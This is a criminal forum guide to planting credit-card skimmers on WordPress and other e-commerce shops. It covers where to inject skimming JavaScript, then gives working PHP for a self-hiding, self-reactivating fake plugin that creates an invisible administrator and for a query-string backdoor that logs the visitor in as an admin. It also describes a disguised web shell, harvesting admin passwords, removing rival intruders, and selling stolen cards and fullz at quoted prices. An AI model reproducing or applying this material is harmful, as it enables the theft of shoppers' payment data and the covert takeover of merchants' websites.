Sniffing CC+CVV: The Complete Guide to Web Sniffers, Persistence, and Monetization

[Investor]

A comprehensive, practical guide to web-based credit card sniffers — from technical structure and injection methods to persistence techniques, competitor management, and material monetization.

Introduction: What Is a Web Sniffer?​

Bro, there's surprisingly little detailed information about sniffers on public platforms, which gives us the opportunity to cover a lot of untold ground. We'll dive into persistence on WordPress shops, what to do with "neighbors" (other hackers on the same site), where to sell the material, or whether to cash out yourself.

What is a sniffer in the context of the web? A sniffer quietly collects data from another platform. In our case, we're stealing card data and customer information. We place our sniffer on a third-party site, target the data we need, and when someone fills it out, we receive it.

These are placed on already active shops — mostly WordPress, but also Magento, Prestashop, OpenCart. This is not phishing. These are legitimate platforms where people order goods, and we don't need to generate traffic — that's the shop owner's job.

The beauty of this method: You install a sniffer on a shop, and while you sleep, eat, or relax, material worth real money is being collected. Encryption? HTTPS? Doesn't matter — we get the data in plain text, unlike database breaches (which are outdated).

A sniffer is essentially a bridge between our server and the client, embedded via JavaScript into the shop's code.

Distinguishing Payment Types: Form, iFrame, CoD, Redirect​

This is crucial because it directly affects how quickly you'll be detected. Let's break down what each looks like.

1. Form (Best Option)​

The holy grail. This is when card input fields are on the site itself — typically Authorize.net payment gateway.
Why it's best: There are no iframes or external elements preventing us from pulling data. Visually, nothing changes for the user.
Market price: Highest, because they offer maximum control.

2. CoD (Cash on Delivery)​

Tricky but worthwhile. CoD stands for Cash on Delivery, often found in Tier 2-3 countries (Bangladesh, India) where banking isn't widespread. Since there's no card payment method, we overlay our own form and hope people enter their cards.

Visual: Looks like a normal payment form, but it's actually our fake.

3. iFrame​

The payment is processed through Stripe, Square, or similar — the user enters data on the shop site but it's actually going to another site. Technically, we can't pull data from another site, so we create a fake form that looks identical.

4. Redirect​

Payment happens on a third-party site — the user is redirected to another link. Two options:

• Overlay a form as with CoD
• Create a redirect clone on our own domain

I use the first option — the second requires too much effort for minimal return.

Form is always the best choice. Prices for such shops are significantly higher on the market.

Injection Methods: Where to Insert Your Code​

Method 1: Theme PHP Files​

Difficulty: Low
Lifespan: Low (dies on theme update)

Step-by-step:

1. Go to Appearance → Theme File Editor
2. Find the relevant PHP file (usually functions.php or footer.php)
3. Insert your JS code
4. Save

Why it's risky: Updates to the theme will wipe it out.

Method 2: System JS Files (jQuery)​

Difficulty: Medium
Lifespan: Medium (overwritten on WP update)

Step-by-step:

1. Install WP File Manager
2. Navigate to wp-includes/js/
3. Find the appropriate JS file (jquery.js or similar)
4. Open via right-click → Edit
5. Add injection at the end of the file

Why it's risky: Easily found via F12 → Initiator tab.

Method 3: Legitimate Plugin Files (Recommended)​

Difficulty: Low
Lifespan: High (survives updates)

Step-by-step:

1. Go to Plugins → Plugin File Editor
2. Select WooCommerce (or your target plugin)
3. Find payment.php (or similar checkout file)
4. Insert injection in the appropriate location

My choice: WooCommerce's payment.php — it loads exactly on the checkout page.

Critical Note: Cache​

If your injection isn't appearing, clear the cache. This is a common beginner mistake.

Persistence Methods: Staying Inside​

Method 1: Hidden Admin (Type 1)​

Mask as a regular user with full admin privileges.

Step-by-step:

1. Install Hidden Admin plugin
2. Click Create Hidden Admin
3. Remember login/password
4. Delete the plugin (important!)

Result: You don't appear in the admin list.

Method 2: Hidden Admin (Type 2)​

Full admin account that's invisible from users list, count, and all queries.

Code (plug-and-play):

<?php
/*
Plugin Name: Seo Core
Plugin URI: https://wordpress.org/plugins/
Description: Security Core for WordPress
Version: 2.1
Author: WordPress
Author URI: https://wordpress.org/
*/

if (!defined('ABSPATH')) {
    exit;
}

define('PLUGIN_FILE', __FILE__);
define('PLUGIN_BASE', plugin_basename(PLUGIN_FILE));
define('PLUGIN_PATH', plugin_dir_path(PLUGIN_FILE));

function create_admin() {
    if (!username_exists('johnelouter')) {
        $user_id = wp_create_user(
            'johnelouter',
            'a40qBI%P5b%hh@vq)qo8QIYf',
            'johnlout@gmаil.com'
        );
        if (is_int($user_id)) {
            $user = new WP_User($user_id);
            $user->set_role('administrator');
            update_user_meta($user_id, 'wp_user_status', wp_hash(time()));
        }
    }
}

function hide_admin_user($query) {
    global $wpdb, $current_user;
    if ($current_user->user_login === 'johnelouter') {
        return;
    }
    $query->query_where = str_replace(
        'WHERE 1=1',
        "WHERE 1=1 AND {$wpdb->users}.user_login != 'johnelouter'",
        $query->query_where
    );
}
add_action('pre_user_query', 'hide_admin_user');

function hide_from_rest($args) {
    if ($user = get_user_by('login', 'johnelouter')) {
        if (!isset($args['exclude'])) {
            $args['exclude'] = array();
        }
        $args['exclude'] = array_merge($args['exclude'], array($user->ID));
    }
    return $args;
}
add_filter('rest_user_query', 'hide_from_rest');
add_filter('users_list_table_query_args', 'hide_from_rest');

function correct_user_count($views) {
    $list = count_users();
    if (isset($list['avail_roles']['administrator'])) {
        $list['avail_roles']['administrator']--;
    }
    $list['total_users']--;
    $class_a = (strpos($views['administrator'], 'current') === false) ? "" : "current";
    $class_all = (strpos($views['all'], 'current') === false) ? "" : "current";
    $views['administrator'] = '<a href="users.php?role=administrator" class="' . $class_a . '">' .
        translate_user_role('Administrator') .
        ' <span class="count">(' . $list['avail_roles']['administrator'] . ')</span></a>';
    $views['all'] = '<a href="users.php" class="' . $class_all . '">' .
        __('All') .
        ' <span class="count">(' . $list['total_users'] . ')</span></a>';
    return $views;
}
add_filter('views_users', 'correct_user_count');

function hide_plugin($plugins) {
    if (isset($plugins[PLUGIN_BASE])) {
        unset($plugins[PLUGIN_BASE]);
    }
    return $plugins;
}
add_filter('all_plugins', 'hide_plugin');
add_filter('plugin_action_links', 'hide_plugin');
add_filter('network_admin_plugin_action_links', 'hide_plugin');
add_filter('site_option_active_sitewide_plugins', 'hide_plugin');

function ensure_plugin_active() {
    if (!function_exists('is_plugin_active')) {
        require_once(ABSPATH . 'wp-admin/includes/plugin.php');
    }
    if (!is_plugin_active(PLUGIN_BASE)) {
        $active_plugins = get_option('active_plugins', array());
        if (!in_array(PLUGIN_BASE, $active_plugins)) {
            $active_plugins[] = PLUGIN_BASE;
            update_option('active_plugins', array_unique($active_plugins));
        }
    }
}
register_activation_hook(PLUGIN_FILE, 'create_admin');
add_action('init', 'create_admin');
add_action('admin_init', 'ensure_plugin_active');
add_action('shutdown', 'ensure_plugin_active');
?>

Method 3: Web Shell​

I use a fork of P.A.S from GitHub, disguised as a security plugin (Wordfence).

Step-by-step:

1. Download P.A.S shell
2. Archive as a plugin
3. Upload via Plugins → Add New → Upload
4. Activate
5. Navigate to the shell path

Features: PHP console, file system, everything for recovery.

Method 4: Backdoor​

Step-by-step:

1. Insert the code below into any PHP file
2. Go to /?p=bezmyatehnost
3. Automatically logged in as the first admin found

add_action('init', 'backdoor_dutyfree');
function backdoor_dutyfree() {
if (isset($_GET['p']) && $_GET['p'] == 'bezmyatezhnost') {
$admin_users = get_users(array('role' => 'administrator'));
       
if (!empty($admin_users)) {
$user = $admin_users[0];
wp_set_current_user($user->ID, $user->user_login);
wp_set_auth_cookie($user->ID);
do_action('wp_login', $user->user_login, $user);
wp_redirect(admin_url());
exit;
        }
    }
}

Method 5: Password Sniffing​

The most reliable persistence method.

Step-by-step:

1. Insert the sniffer into core WordPress JS files
2. If it doesn't work, change WP version via Hidden Admin plugin
3. Get login credentials in your panel

Pro tip: Gather passwords first, then install the main sniffer — gives you much longer survival.

Method 6: Third-Party Aggregators​

Use orion.managewp.com to control multiple shops from one panel.

Features:

• Authorize as any user
• Create users
• Upload plugins
• Execute PHP code

Advantage: If ManageWP was already installed, admins won't even notice.

Dealing with "Neighbors"​

Other hackers on the same shop. If you see competitors, especially ones with sloppy methods that could alert the admin, remove them.

Detection tools:

• String Locator — search for specific code strings across all files
• Check header, footer, and checkout scripts for foreign code
• Check user list for hidden admins

Strategy: If the neighbor is quiet, leave them. If they're sloppy, evict them to avoid attracting admin attention.

Monetization: Cashing Out​

Critical Rule​

Always let cards rest for at least 2 weeks. This prevents the cardholder from linking the theft to the specific shop.

Selling Options​

Method	Pros	Cons
Sell on aggregators (Patrick, Castro)	No marketing effort, quick payment	30-40% commission
Sell yourself (Telegram, forums)	Full profit	Requires marketing, reputation building, support

Pricing (2026 averages)​

• US cards: ~$20 per valid card
• European cards: ~$12
• BINs with Fullz: $30-$100+ depending on data completeness

Pro tip: Sell the best BINs directly to clients, then dump the rest on aggregators.

Recommended Tools​

Tool	Purpose
WP File Manager	Access to WP file system
Hidden Admin	Create hidden admin accounts
String Locator	Search code across entire site
P.A.S Shell	Web shell for full control
ManageWP	Manage multiple shops from one panel

Final Conclusion​

This guide isn't about giving you a ready-made sniffer. It's about teaching you the ecosystem:

1. How payment systems work — form, iFrame, CoD, redirect
2. Where to inject — theme, JS, PHP plugins
3. How to stay inside — hidden admins, shells, backdoors, password sniffing
4. How to survive — remove competitors, use String Locator
5. How to cash out — aggregators vs. self-selling

If you have the desire, building or finding a panel based on this information won't be difficult. Google and specialized resources exist for a reason.

Good luck, brother. If you need anything — write.